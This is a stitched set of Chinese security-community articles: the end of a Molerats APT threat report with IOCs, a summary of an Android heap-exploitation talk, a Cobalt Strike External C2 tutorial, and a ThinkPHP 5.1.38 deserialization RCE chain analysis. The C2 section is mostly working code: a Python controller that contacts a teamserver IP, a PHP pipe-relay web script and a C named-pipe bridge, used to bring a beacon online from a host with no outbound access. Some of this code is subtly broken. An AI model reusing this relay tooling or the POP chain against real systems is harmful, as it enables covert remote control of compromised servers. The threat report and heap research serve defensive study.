在本次诱饵文档提取的宏中，有段注释掉的木马下载地址（URL），与卡巴斯基曝光的Gaza cybergang活动中的宏脚本中的下载地址一致：
2017年卡巴斯基曝光的Gaza Cybergang活动中的宏脚本：
基于上述关联信息以及内部相关数据，360威胁情报中心怀疑本次攻击活动的幕后团伙是Molerats APT组织。
## 总结
利用社交网络可以迅速传播信息的特点，360威胁情报中心多次将APT攻击的重要线索第一时间在Twitter上公开，以便广大安全厂商能快速跟进。而本次的C2域名能及时被Sinkhole则充分证明了利用社交网络快速传递威胁情报的可行性。
Molerats组织从被发现到现在已有数年的时间，期间该组织实施了大量的攻击行动，并在攻击过程中使用了多种公开的或自有的恶意程序。攻击者通过不断改进他们的工具库，以减少被安全公司发现的可能性。
该组织很擅长社会工程学，通过向目标定向发送各类诱饵文档进行攻击，诱饵文档通常通过恶意宏来执行后续代码。相对于使用Office
0day，利用恶意宏进行攻击需要更多的用户交互以完成攻击。虽然这会降低其攻击的成功率，但可以通过更有针对性的邮件内容和更具迷惑性的文档信息来弥补。此外，这类攻击具有很好的成本优势，因此仍被许多攻击组织大量采用。企业用户应尽可能小心打开来源不明的文档，如有需要可通过打开Office
Word文档中的：文件-选项-信任中心-信任中心设置-宏设置，来禁用一切宏代码执行：
目前，基于360威胁情报中心的威胁情报数据的全线产品，包括360威胁情报平台（TIP）、天眼高级威胁检测系统、360
NGSOC等，都已经支持对此类攻击的精确检测。
## IOC
**MD5**
---
063a50e5e4b4d17a23ac8c8b33501719
46173adc26721fb54f6e1a1091a892d4
**CC** **地址**
smartweb9.com
## 参考链接
1. <https://aptmap.netlify.com/#Molerats>
2. <https://middle-east-online.com/en/cyber-war-gaza-hackers-deface-israel-fire-service-website>
3. <http://www.timesofisrael.com/how-israel-police-computers-were-hacked-the-inside-story/>
4. <http://blog.trendmicro.com/trendlabs-security-intelligence/xtreme-rat-targets-israeli-government/>
5. <http://blog.trendmicro.com/trendlabs-security-intelligence/new-xtreme-rat-attacks-on-usisrael-and-other-foreign-governments/>
6. <https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html>
7. <https://www.fireeye.com/blog/threat-research/2014/06/molerats-here-for-spring.html>
8. <https://securelist.com/blog/research/72283/gaza-cybergang-wheres-your-ir-team/>
9. <http://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf>
10. <http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf>
11. <https://ti.360.net/blog/articles/gaza-cybergang-apt-sample/>
12. <https://securelist.com/gaza-cybergang-updated-2017-activity/82765/>
13. <https://blog.talosintelligence.com/2017/06/palestine-delphi.html>
14. <https://twitter.com/360TIC/status/1091890352066162688> | 社区文章 |
# MOSEC议题解读 | A Tale of Two Mallocs
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
********
## 议题概要
dlmalloc和jemalloc是Android用户空间使用的两个内存管理器，议题详细分析了两种malloc的实现，深入分配和释放的算法，数据结构的相关细节，讲解中还附带提供了几个堆内存可视化的调试器插件。最后会介绍如何利用堆分配器控制内存布局，并以堆缓冲区溢出为例讲解具体应用。
## 作者介绍
三叉戟（Pegasus）让以色列的NSO Group一战成名，Shmarya
Rubenstein正是该组织成员之一。他研究的领域上至应用软件和固件的代码，下至芯片、PCB级别的硬件实现，精熟于嵌入式设备的安全分析。具有十二年专业领域的逆向分析经验。
## 议题解析
### dlmalloc
经历了数十年的迭代更新，目前仍然广泛活跃在历史舞台的漏洞几乎都是堆内存中出现的漏洞(OOB，UAF)。想要在目标进程中利用这些漏洞时，不免都要和内存分配器打交道。
Android对libc的实现里（bionic）一开始采用了dlmalloc（诞生于1987，于2012停止更新），是一套非常成熟的解决方案。
dlmalloc通过segment和chunk管理内存，一块segment当中包含若干块chunk，当有比如malloc(0x300)的内存申请时，top
chunk会划分出一块新内存：
不同大小的chunk可以连续排布，chunk中要包含metadata用于说明该chunk以及上一个chunk的大小，还有这两个chunk是否被使用：
当被free的chunk临近有已经被free的chunk时，两个chunk会合并。除了这些基本的管理方式，dlmalloc还使用bin来管理内存。相同大小且被free的chunk会以双链表形式存放在bin当中。bin中的内存遵循FIFO原则，下一次malloc时会优先从bin中取内存，选择大小不小于申请内存的一块返回。一共有32个small
bins和32个tree bins，tree bins用于管理大内存，采用bitwise digital
tree结构存储。dlmalloc的小内存分配原则总结如下：
* 计算对象大小
* 从small bin中找大小和目标相同的chunk返回
* 最近一次被释放的内存块是否合适
* 从small bin中找不小于目标的chunk返回
* 从tree bin中找大小不小于目标的chunk返回
* 如果仍然没有才从top chunk中划分新内存，或者创建新的segment
dlmalloc分配大内存时和上述流程相似，但要简单一些，直接从tree
bin开始往下执行。当请求分配的内存大于64k时，malloc会调用mmap分配内存。
为了适应多线程，dlmalloc只是简单地在malloc开始和结束的位置加了一个lock，对多线程的应用性能影响还是比较大的。
### jemalloc
Android目前已经开始转为使用jemalloc管理内存，相比dlmalloc，它的设计更利于多线程的运行环境。jemalloc在2014年五月，也就是Android
5.0开始引入，随后被设置为默认的分配选项。不过时至今日，Android 5和6的设备中仍能同时看到dlmalloc和jemalloc两者并存。
jemalloc管理内存时要复杂一些，最大的管理单元是arena，一共有两个，分别带有一个lock。不同线程尝试分配内存时，会平均分配至两个arena，只有在相同的arena中分配内存时才需要获取lock。arena中实际管理内存的是chunk和region，Android
7之前chunk为256k，之后32位系统改为512k，64位系统改为2MB。
每个chunk中会包含若干个run，run里面的region大小完全相同，而run的metadata会存放在chunk的header当中，这样region里只存放数据本身，不再有内存属性说明，malloc实际返回的是region的地址：
jemalloc也用bin来管理内存，共有39个bins。不同于dlmalloc的分配方法，jemalloc分配的内存完全来取自于bin。bin的metadata存放于arena的header中，39个bin还会存放当前正在使用的run。所有带有空闲region的run和闲置的chunk信息会被放置在红黑树结构当中，这样寻找空闲内存的复杂度可以控制在o(log(n))：
除此之外，为了优化多线程性能，jemalloc还采用了LIFO结构的tcache，存放近期被释放的region，每个线程的每个bin都对应一个tcache。存放在tcache中的内存并不会设置free标记位，并且由于tache附着于线程本身，使得大部分情况下从tcache分配内存时完全无需lock。
当tcache中存放的内存块用尽时会触发prefill，此时jemalloc会lock当前arena，并从当前run中取出一定数量的region存入tcache，使得它总有存量。
当tcache存满时（small bin是8，larger
bin是20）会触发flush，tcache中存放的region才会被真正标记为释放。被释放的region才能被其他线程再次申请。
另外jemalloc本身也有GC，即有一个全局的计数器记录申请和释放，达到阈（读yu，四声）值时会触发一次特殊的释放，目标bin里tcaches中四分之三的region会被释放。下次GC时会轮到下一个bin。这是另一种真正释放region的方法。总结一下jemalloc的分配原则：
* 计算申请内存大小
* 从当前线程的tcache中找到合适的bin
* 如果tcache为空，就从当前的run中prefill一些region进来
* 如果当前run耗尽，就从低地址开始找到第一个非空run
* 如果现有run里没有足够的内存就分配一个新run
* 如果chunk里没有空间了就分配一个新chunk，同时分配新run并prefill一些region到tcache
对比两种内存管理方式如下：目前系统中大概30%使用dlmalloc，70%是jemalloc。
### Exploitation
在一个漏洞利用的过程中，通常会基于这些前置的基础知识操纵堆内存。使得其按照我们预定的方式排布，如让特定的两个对象相邻，或者让一个对象重用另一个被释放的对象的内存，这些技巧统称为堆风水。
为了更好控制堆的状态，能够随时查看内存的分布情况是很有帮助的。下面三个工具非常好用，一个是去年INFILTRATE大会上Cencus的pyrsistence，另外一个是作者自己写的shade，最后就是NCC
Group发布的libdlmalloc。以作者自己的工具为例，基于GDB的插件可以实时显示目标内存附近的区块状态。
不知道是不是开源的情况下反而更没有人去研究原理和可视化工具，Windows上反而很多年前就已经有各种堆内存可视化脚本了，几乎是每个调试器的标配功能。
Android可以说是目前主流系统中附加各类缓解措施最多的系统了，地址随机化，SELinux，进程沙盒等都让漏洞利用过程无比痛苦。下面以溢出为例，看看上述关于堆分配的知识能推导出哪些实际使用技巧。
### 堆溢出
在一个漏洞利用过程中，一般先要获取一些gadget，然后利用这些gadget扩大战果。gadget包括相对地址读/写、任意地址读/写，任意执行等。比如一个常见构造gadget的方法，让越界写的对象和一个带有数据指针+长度的对象相邻：
这样越界写后，临接对象就会成为一个读或写的gadget，这取决于临接对象能够提供哪些操作让我们使用。这一手应该早已经是脚本环境中漏洞利用的家常便饭了。实际在找这类gadget时可以直接在代码中找含有malloc，new，reallocs，std:：vector，std::string的对象。如果能够访问到他们的方法，就可能是一个潜在的gadget。
jemalloc分配内存的情况下，临接对象的选择条件更为苛刻，必须和溢出的对象大小对齐后相同，这样才有可能位于同一个run当中。
另外一个技巧是placeholder，即提前分配大量和目标对象大小相同的占位对象，然后释放他们勇于填充漏洞对象和gadget，这样很大几率会出现临接的情况，确保溢出行为有效：
如果能提前分配足够多的对象将已有内存占满，后面placeholder将有更大几率分配在临接连续的内存当中。
在分配目标内存和gadget等过程中，很有可能引入噪音，即未预期的对象也因此分配并占了一精心排布的内存。对于这些噪音，一个很好的去除方法是预先分配足够的小内存块。每次引入噪音前先释放一些小内存块，确保噪音被这些内存块收纳。
由于dlmalloc内存chunk中有metadata，溢出时应该把这些字段的大小也纳入考虑范围，而jemalloc的metadata存放在region之外所以不用考虑。
另外，有可能本来用于临接的对象和溢出对象由不同的thread创建，对于dlmalloc来说这没有什么影响，但jemalloc就比较棘手，不同的tcache很难保证二者临接。遇到这种情况最好的办法是触发flush或者GC，让目标区块转移到同一个线程当中。
还有一个问题是padding，jemalloc分配的对象由于region大小固定，region很可能比对象实际要大，这样溢出时就要考虑把中间没有用到的内存也覆盖掉。
最后的一个可能导致问题的是两个对象所属arena不同，不过这个问题很好解决，可以先创建比如30个线程，相邻的线程应该位于刚好不同的arena当中。然后每隔一个线程释放掉自身。由于平衡的诉求，接下来创建的15个线程都会位于相同的arena当中。
## 总结
在漏洞利用的学习过程中，可能一个漏洞案例只能学到一手技巧，即便看了很多例子，方法却大同小异。Shmarya
Rubenstein把这些技巧集中展现，虽然有些抽象，但抽出来的才最像。Android堆分配原理弄清楚了，无论以后遇到什么利用场景都能自行找到解决方法，而不是广撒网似的找其他利用案例去揣度。
这些内存分配方面的技巧相当可贵，近来越来越多人分享时只提及讲案例本身，而且专挑奇案特例，且关键步骤一笔带过，留给听众的最多只是特例的解决方法，回过神发现自己遇到的问题与此稍有不同就无从下手。与之相比，Shmarya
Rubenstein的分享应该回让想要深耕漏洞利用的研究人员大呼过瘾。
**温馨提示：安全客近期会陆续发布更多MOSEC干货议题解读，敬请关注~** | 社区文章 |
## 0x00 前言
`Cobalt Strike` 的上线问题归结为以下几点：
问题 | 解决方法
---|---
目标存在杀软（被杀） | Shellcode 加载器
目标存在杀软（拦截连接） | C2 处理
目标机是 Web 映射出网 | 特殊 C2 处理
隔离网络 | 出网机器做跳板
本文针对第 3 点进行展开。
## 0x01 前置知识点
### 1.1、管道
如果对管道不熟悉的朋友，可以将管道理解为采用消息队列方式操作的文件。为什么说管道是文件呢？因为它的本质是一段系统内核的缓冲区，可以看做是一个伪文件。在我们使用管道时，需要
Create、Open、Read、Write、Close，就和我们操作文件差不多。而又为什么说管道是采用消息队列的方式呢？因为它实际上的数据结构是一个环形队列。不同的线程都可以向里面写，也可以从里面读。写在队列末尾，读就是从队列头部删除。
管道分为两种，`匿名管道（pipe）`和`命名管道（FIFO）`。匿名管道用于父子进程通信，而命名管道可以用于任意两个进程通信。
* 服务端：创建管道 >> 监听 >> 读写 >> 关闭
* 客户端：打开命令管道，获得句柄 >> 写入数据 >> 等待回复
## 1.2、SMB Beacon
**官网的解释为** ： _SMB Beacon 使用命名管道通过父 Beacon 进行通信，这种点对点通信借助 Beacons
在同一台主机上实现，它同样也适用于外部的互联网。Windows 当中借助在 SMB 协议中封装命名管道进行通信，因此，命名为 SMB Beacon。_
以上的说法，其实就是将 `Payload` 运行（注入）后，创建了自定义命名管道（作服务端），等待连接即可。
## 0x02 External C2
`External C2` 是 `Cobalt Strike` 引入的一种规范（或者框架），黑客可以利用这个功能拓展C2通信渠道，而不局限于默认提供的
`HTTP(S)/DNS/SMB/TCP` 通道。大家可以参考
[此处](https://www.cobaltstrike.com/downloads/externalc2spec.pdf) 下载完整的规范说明。
简而言之， 用户可以使用这个框架来开发各种组件，包括如下组件：
* 第三方控制端（Controller）：负责连接 Cobalt Strike TeamServer，并且能够使用自定义的 C2 通道与目标主机上的第三方客户端（Client）通信。
* 第三方客户端（Client）：使用自定义C2通道与第三 Controller 通信，将命令转发至 SMB Beacon。
* SMB Beacon：在受害者主机上执行的标准 beacon。
从 `Cobalt Strike` 提供的官方文档中(文末有官方文档)，我们可以看到如下示意图：
从上图可知，我们的`自定义 C2` 通道两端分别为 `Controller` 以及
`Client`，这两个角色都是我们可以自行研发以及控制的角色。往下走就是一个`完整的 ExternalC2工作流程`。
## 0x03 正常的 External C2 工作流程
一个粗糙的时序图（图中的空虚线是为了排版，无其他意义）：
### 3.1、ExternalC2
我们需要让 `Cobalt Strike` 启动 `External C2`。我们可以使用 `externalc2_start()`
函数，传入端口参数即可。一旦 `ExternalC2` 服务顺利启动并正常运行，我们需要使用自定义的协议进行通信。
* 启用 externalc2_start 函数，通知 Teamserver 已开启 C2
externalc2_start("0.0.0.0", 2222);
* 等待 Controller 连接传输配置信息
* 生成下发 Payload Stage
* 接收和下发信息
### 3.2、Controller
Controller
* 使用 socket 连接 ExternalC2 平台
_socketToExternalC2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
_socketToExternalC3.connect(("193.10.20.123", 2222))
* 规范接收与发送的数据格式
def encodeFormat(data):
return struct.pack("<I", len(data)) + data
def decodeFormat(data):
len = struct.unpack("<I", data[0:3])
body = data[4:]
return (len, body)
def recvFromExternalC2():
data = ""
_len = _socketToExternalC3.recv(4)
l = struct.unpack("<I",_len)[0]
while len(data) < l:
data += _socketToExternalC3.recv(l - len(data))
return data
def recvFromBeacon():
data = ""
_len = _socketToBeacon.recv(4)
l = struct.unpack("<I",_len)[0]
while len(data) < l:
data += _socketToBeacon.recv(l - len(data))
return data
* 发送配置选项（x86 or x64 、命名管道名称、间隔时间）
* 发送 go，通知 ExternalC2 可下发 Payload Stage
def sendToTS(data):
_socketToExternalC3.sendall(encodeFormat(data))
sendToTS("arch=x86")
sendToTS(“pipename=rcoil")
sendToTS("block=500")
sendToTS("go")
* 接收来自 ExternalC2 所下发的 Payload Stage
data = recvFromExternalC2()
* 与此同时，新开启一个 Socket，进行监听，等待接收来自 Client (EXE) 的数据
_socketBeacon = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
_socketBeacon.bind(("0.0.0.0", 8088))
_socketBeacon.listen(1)
_socketClient = _socketBeacon.accept()[0]
* 在收到 Client (EXE) 的连接后，向 Client (EXE) 发送 Payload Stage
* 向ExternalC2 反馈来自 Client (EXE) 的数据
* 机器上线
* 进入数据收发循环处理流程
可以参考 [此处](https://gist.github.com/xpn/bb82f2ca4c8e9866c12c54baeb64d771)获取完整的
`XPN` 的 `Controller` 代码。
### 3.3、Client (EXE)
* 同样规范接收与发送的数据格式
* 连接 Controller，并接收 Payload Stage
* 将接收到的 Payload Stage 使用常规的进程注入方法注入到进程中
* SMB Beacon启动并处于运行状态
* Client (EXE) 连接 SMB Beacon 的命名管道，用于接收或下发命令
* 进入数据收发循环处理流程
可以参考 [此处](https://gist.github.com/xpn/08cf7001780020bb60c5c773cec5f839) 获取完整
`XPN` 的 `Client (EXE)` 代码
## 0x04 特殊的 C2 配置
以上所配置的 `C2`，并不能满足我们现在的特殊需求：`Web 映射出网环境上线问题` 。由于目标机是不出外网的，所以无法实现上面的： `Client`
主动连接 `Controller`，进而将 `Payload Stage`下发，所以可以从上面的流程进行修改，其实修改起来也不难，以下是解决方案：
需要在目标机器上面（根据 Web 容器）编写一个对指定的命名管道进行读取和写入的脚本(Client-Web)，然后在 Controller 上对此脚本(Client-Web)进行连接（读写操作），将主动变成被动即可解决。
为了省略阅读时长，直接看以下时序图（图中的空虚线是为了排版，无其他意义）。
需要多一个中转设置，我们将这个中转命名为 `Client-Web`，确保自定义周期能够完成。接下来小节中的代码，如果是应用于实战，建议自写。
## 4.1、Controller
这一部分与上所述基本一致，只是将挂起的 `socket` 转为对 `Web` 的请求，主动去获取数据，再将获取到的数据进行反馈。
// 代码来源：https://github.com/hl0rey/Web_ExternalC2_Demo/blob/master/controller/webc3.py
import socket
import struct
import requests
# import random
import time
PAYLOAD_MAX_SIZE = 512 * 1024
BUFFER_MAX_SIZE = 1024 * 1024
def tcpconnect(ip, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
return s
def recvdata_unpack(s):
chunk = s.recv(4)
slen = struct.unpack("<I", chunk)[0]
recvdata = s.recv(slen)
print("recvdata_unpack: " + str(slen))
# print(recvdata)
return recvdata
def senddata_pack(s, data):
slen = struct.pack("<I", len(data))
s.sendall(slen+data)
print("senddata_pack: " + str(len(data)))
# print(data)
return
def droppaylod(data):
# filename = random.choice(["a", "b", "c", "d"]) + str(random.randint(1000, 9999)) + ".bin"
filename = "payload.bin"
with open("payload/" + filename, "wb") as fp:
fp.write(data)
return filename
def requestpayload(s, arch, pipename, block):
senddata_pack(s, ("arch=" + arch).encode("utf-8"))
senddata_pack(s, ("pipename=" + pipename).encode("utf-8"))
senddata_pack(s, ("block=" + str(block)).encode("utf-8"))
senddata_pack(s, "go".encode("utf-8"))
#为什么必须这么写，原因需要深究
try:
chunk = s.recv(4)
except:
return ""
if len(chunk) < 4:
return ()
slen = struct.unpack('<I', chunk)[0]
chunk = s.recv(slen)
while len(chunk) < slen:
chunk = chunk + s.recv(slen - len(chunk))
return chunk
def read_http(req, url):
# res = req.get(url + "?action=read",proxies={"http": "http://127.0.0.1:8080"})
res = req.get(url + "?action=read")
print("read from http: " + str(len(res.content)))
# print(res.content)
return res.content
def write_http(req, url, data):
print("write to http: " + str(len(data)))
length = struct.pack("<I", len(data))
data = length + data
# print(data)
# req.post(url + "?action=write", data=data, proxies={"http": "http://127.0.0.1:8080"})
req.post(url + "?action=write", data=data)
return
# 轮询函数
def ctrl_loop(s, req, url):
while True:
data = read_http(req, url)
senddata_pack(s, data)
recvdata = recvdata_unpack(s)
write_http(req, url, recvdata)
#必要的延迟，否则会出错
time.sleep(3)
def main():
# externalc2服务的IP和端口
ip = "193.168.113.137"
port = 2222
soc = tcpconnect(ip, port)
# 请求payload
payloaddata = requestpayload(soc, "x64", "rcoil", 1000)
paylaodfile = droppaylod(payloaddata)
print("paylaod文件名为： " + paylaodfile)
print("请使用loader在被控端执行payload")
r = requests.session()
while True:
url = input("请输入第三方客户端地址：")
res = r.get(url)
if not res.text == 'OK':
print("第三方客户端有问题，请查看。")
else:
break
ctrl_loop(soc, r, url)
if __name__ == '__main__':
main()
### 4.2、Client–Web
等待 `Controller` 连接，往下就是对脚本的轮询
// 代码来源：https://github.com/hl0rey/Web_ExternalC2_Demo/blob/master/client/php/piperw.php
function readpipe($name){
$name="\\\\.\\pipe\\".$name;
$fp=fopen($name,"rb");
//分两次读
$len=fread($fp,4);
$len=unpack("v",$len)[1];
$data=fread($fp,$len);
fclose($fp);
echo $data;
return $data;
}
function writepipe($name){
$name="\\\\.\\pipe\\".$name;
$fp=fopen($name,"wb");
$data=file_get_contents("php://input");
//一次性写
fwrite($fp,$data);
fclose($fp);
}
if(isset($_GET['action'])){
//根据请求参数进行不同的操作
if ($_GET['action']=='read'){
readpipe("readrcoil");
}elseif ($_GET['action']=='write'){
writepipe("writercoil");
}
}else{
//脚本执行成功
echo "OK";
}
4.3、Client-EXE
这个客户端也相当与一个中转
// 代码来源：https://github.com/hl0rey/Web_ExternalC2_Demo/blob/master/client/c/webc2_loader/PipeOperationRelay/%E6%BA%90.c
#include <Windows.h>
#include <stdio.h>
#define PAYLOAD_MAX_SIZE 512 * 1024
#define BUFFER_MAX_SIZE 1024 * 1024
//桥，字面意思。方便把自定义的管道和beacon管道桥接的结构体
struct BRIDGE
{
HANDLE client;
HANDLE server;
};
//从beacon读取数据
DWORD read_frame(HANDLE my_handle, char* buffer, DWORD max) {
DWORD size = 0, temp = 0, total = 0;
/* read the 4-byte length */
ReadFile(my_handle, (char*)& size, 4, &temp, NULL);
printf("read_frame length: %d\n", size);
/* read the whole thing in */
while (total < size) {
ReadFile(my_handle, buffer + total, size - total, &temp,
NULL);
total += temp;
}
return size;
}
//向beacon写入数据
void write_frame(HANDLE my_handle, char* buffer, DWORD length) {
printf("write_frame length: %d\n", length);
DWORD wrote = 0;
WriteFile(my_handle, (void*)& length, 4, &wrote, NULL);
printf("write %d bytes.\n", wrote);
WriteFile(my_handle, buffer, length, &wrote, NULL);
printf("write %d bytes.\n", wrote);
}
//从控制器读取数据
DWORD read_client(HANDLE my_handle, char* buffer) {
DWORD size = 0;
DWORD readed = 0;
ReadFile(my_handle, &size, 4, NULL, NULL);
printf("read_client length: %d\n", size);
ReadFile(my_handle, buffer, size, &readed, NULL);
printf("final data from client: %d\n", readed);
return readed;
}
//向控制器写入数据
void write_client(HANDLE my_handle, char* buffer, DWORD length) {
DWORD wrote = 0;
WriteFile(my_handle, buffer, length, &wrote, NULL);
printf("write client total %d data %d\n", wrote, length);
}
//客户端读管道、服务端写管道逻辑
DWORD WINAPI ReadOnlyPipeProcess(LPVOID lpvParam) {
//把两条管道的句柄取出来
struct BRIDGE* bridge = (struct BRIDGE*)lpvParam;
HANDLE hpipe = bridge->client;
HANDLE beacon = bridge->server;
DWORD length = 0;
char* buffer = VirtualAlloc(0, BUFFER_MAX_SIZE, MEM_COMMIT, PAGE_READWRITE);
if (buffer == NULL)
{
exit(-1);
}
//再次校验管道
if ((hpipe == INVALID_HANDLE_VALUE) || (beacon == INVALID_HANDLE_VALUE))
{
return FALSE;
}
while (TRUE)
{
if (ConnectNamedPipe(hpipe, NULL))
{
printf("client want read.\n");
length = read_frame(beacon, buffer, BUFFER_MAX_SIZE);
printf("read from beacon: %d\n", length);
//分两次传送，发一次长度，再发数据。
write_client(hpipe,(char *) &length, 4);
FlushFileBuffers(hpipe);
write_client(hpipe, buffer, length);
FlushFileBuffers(hpipe);
DisconnectNamedPipe(hpipe);
//清空缓存区
ZeroMemory(buffer, BUFFER_MAX_SIZE);
length = 0;
}
}
return 1;
}
//客户端写管道、服务端读管道逻辑
DWORD WINAPI WriteOnlyPipeProcess(LPVOID lpvParam) {
//取出两条管道
struct BRIDGE* bridge = (struct BRIDGE*)lpvParam;
HANDLE hpipe = bridge->client;
HANDLE beacon = bridge->server;
DWORD length = 0;
char* buffer = VirtualAlloc(0, BUFFER_MAX_SIZE, MEM_COMMIT, PAGE_READWRITE);
if (buffer == NULL)
{
exit(-1);
}
if ((hpipe == INVALID_HANDLE_VALUE) || (beacon == INVALID_HANDLE_VALUE))
{
return FALSE;
}
while (TRUE)
{
if (ConnectNamedPipe(hpipe, NULL))
{
//一次性读，一次性写
printf("client want write.\n");
length = read_client(hpipe, buffer);
printf("read from client: %d\n", length);
write_frame(beacon, buffer, length);
DisconnectNamedPipe(hpipe);
//清空缓存区
ZeroMemory(buffer, BUFFER_MAX_SIZE);
length = 0;
}
}
return 2;
}
int main(int argc, char* argv[]) {
//创建客户端读管道
HANDLE hPipeRead = CreateNamedPipe("\\\\.\\pipe\\readrcoil", PIPE_ACCESS_OUTBOUND, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, BUFFER_MAX_SIZE, BUFFER_MAX_SIZE, 0, NULL);
//创建客户端写管道
HANDLE hPipeWrite = CreateNamedPipe("\\\\.\\pipe\\writercoil", PIPE_ACCESS_INBOUND, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, BUFFER_MAX_SIZE, BUFFER_MAX_SIZE, 0, NULL);
//与beacon建立连接
HANDLE hfileServer = CreateFileA("\\\\.\\pipe\\rcoil", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, SECURITY_SQOS_PRESENT | SECURITY_ANONYMOUS, NULL);
//检测管道和连接是否建立成功
if ((hPipeRead == INVALID_HANDLE_VALUE) || (hPipeWrite == INVALID_HANDLE_VALUE) || (hfileServer == INVALID_HANDLE_VALUE))
{
if (hPipeRead == INVALID_HANDLE_VALUE)
{
printf("error during create readpipe.");
}
if (hPipeWrite == INVALID_HANDLE_VALUE)
{
printf("error during create writepipe.");
}
if (hfileServer == INVALID_HANDLE_VALUE)
{
printf("error during connect to beacon.");
}
exit(-1);
}
else
{
//一切正常
printf("all pipes are ok.\n");
}
//放入客户端读管道和beacon连接
struct BRIDGE readbridge;
readbridge.client = hPipeRead;
readbridge.server = hfileServer;
//启动客户端读管道逻辑
HANDLE hTPipeRead = CreateThread(NULL, 0, ReadOnlyPipeProcess, (LPVOID)& readbridge, 0, NULL);
//放入客户端写管道和beacon连接
struct BRIDGE writebridge;
writebridge.client = hPipeWrite;
writebridge.server = hfileServer;
//启动客户端写管道逻辑
HANDLE hTPipeWrite = CreateThread(NULL, 0, WriteOnlyPipeProcess, (LPVOID)& writebridge, 0, NULL);
//代码没有什么意义，直接写个死循环也行
HANDLE waitHandles[] = { hPipeRead,hPipeWrite };
while (TRUE)
{
WaitForMultipleObjects(2, waitHandles, TRUE, INFINITE);
}
return 0;
}
当然，自用的会使用 `C#` 进行重写。能使用公开代码演示就尽量使用，当然，都标注了来源。
## 0x05 实操
### 5.1、加载脚本
加载 `ExternalC2.cna`，完成第一步。
### 5.2、Controller
这里我们使用的代码是参照 `XPN` 的代码写成与上方 `hl0rey` 一样格式的代码。
### 5.3、Client
使用加载器加载这一段 `shellcode`，查看 `pipelist`，可以看到我们自定义的管道名。
到这里，可以说明 `SMB Beacon` 已经成功运行，目前缺少的是可与之进行交互的上层进程。往下继续，运行 `Client-EXE`（使用hl0rey的代码），再次查看 `pipelist`，结果如下
### 5.4、Cobalt Strike
成功上线。
### 5.5、问题
但是，查看 `PipeOption.exe`，崩了。同时，`Cobalt Strike` 上线的机器，心跳包正常，但是功能无法使用。
应该是 `PipeOption.exe` 和 `php` 脚本之间出现的问题，通过抓包，发现这里应该是权限问题。
将 `PipeOpiton.exe` 以管理员权限运行，`action=read` 则没出错。
向 [Lz1y](https://www.lz1y.cn/) 大佬请教了下，最后还是改改 `Client-EXE` 和 `Client-Web`
的代码算了，不使用命名管道，直接读写文件，这样 `Client-Web` 的不同版本也可以很好写，不需要费劲利用管道。看到这里是不是很蛋疼，嘤嘤嘤。
## 0x06 参考
[Exploring Cobalt Strike's ExternalC2
framework](https://blog.xpnsec.com/exploring-cobalt-strikes-externalc2-framework/)
[利用 External C2
解决内网服务器无法出网的问题](https://mp.weixin.qq.com/s/q3QZ41qwFcKaIL7qb6q1fQ)
[一起探索Cobalt Strike的ExternalC2框架](https://www.anquanke.com/post/id/103395)
[externalc2spec.pdf](https://www.cobaltstrike.com/downloads/externalc2spec.pdf) | 社区文章 |
## 环境
Thinkphp5.1.38
PHP7.3.4
## 触发条件
`__destruct`方法或者`__wakeup`方法
## 测试代码
## 源码分析
### 链条一
**漏洞起点文件**
`think\process\pipes\Windows.php`
`__destruct`触发`removeFiles`方法
`file_exists`会把传入的参数当作字符串处理，触发`__toString`魔术方法
全局搜索下`__toString`，跟进`think\model\concern\Conversion.php`下的`__toString`方法，调用`toJson`方法
跟进`toJson`方法，调用`toArray`方法，然后json格式返回。
跟进`toArray`方法，需要在`toArray`方法中寻找到`可控变量->方法(可控变量)`来触发`__call`魔术方法。
为什么需要`__call`方法呢？因为PHP为了避免当调用的方法不存在时产生错误，而意外的导致程序中止，所以使用 `__call`
方法来避免,而`__call`方法中又常利用`call_user_func`和`call_user_func_array`来进行动态调用，从而可能导致命令执行。`toArray`中的`$relation->visible($name)`正好符合这个条件。
首先进行`if
(!empty($this->append))`条件判断，变量`append`可控，然后跟进`getRelation`方法，位于`think\model\concern\RelationShip.php`中，只要传入的参数`$name`不为空，且不在`$this->ralation`中即可返回null。
跟进`getAttr`方法，位于`think\model\concern\Attribute.php`中，调用了`getData`方法。
跟进`getData`方法，位于`think\model\concern\Attribute.php`中，只要传入的参数`name`存在`$this->data`中，就返回`$this->data[$name]`，因为这里`name`,`$this->data`可控，所以返回值可控。
也就是`toArray`方法中的`ralation`变量可控，就可以符合`可控变量->方法(可控变量)`来触发`__call`魔术方法。寻找不存在`visible`方法且存在`__call`方法的类。
因为调用`__call`方法，第一个参数是不可控的，所以限制了挺多。最后找到了`think\Request.php`类下的`__call`方法
跟进`think\Request.php`下的`__call`方法。只要`$method`在`$this->hook`中就可以触发`call_user_func_array`，且两个参数都可控，但是`args`经过了`array_unshift`函数插入导致`args数组`的第一个值是不可控的，但是我们可以调用任何方法。TP5有个常用的RCE漏洞是`think\Request.php`中的`input`方法。
跟进`input`方法，我们知道这个RCE漏洞是实例化类的时候没有过滤，需要`$data`、`$filter`和`$name`可控，然后进入`filterValue`方法中执行了`call_user_func`导致了命令执行，但是这边`data`变量却不可控。寻找调用`input`方法的方法。
跟进`param`方法,位于`think\Request`中，但是这里的`$name`依旧不可控，继续寻找调用`param`方法的方法
跟进`isAjax`方法,位于`think\Request`中,`this->config['var_ajax']`变量可控，也就是`input`中的`name`可控。
但TP5的`request RCE`漏洞的`filter`参数是通过GET传入，但这边的`filter`我们又怎么控制呢？
最后我们跟进下`input`方法，看看如何触发命令执行。`getFilter`方法的返回值赋值给`$filter`变量
跟进`getFilter`方法，位于`think\Request`中。`$filter`来自`$this->filter`所以可控。
最后进入`array_walk_recusive`函数，触发我们熟悉的`filterValue`方法。
跟进`filterValue`方法，通过`call_user_func`触发命令执行。
**完整POP链条**
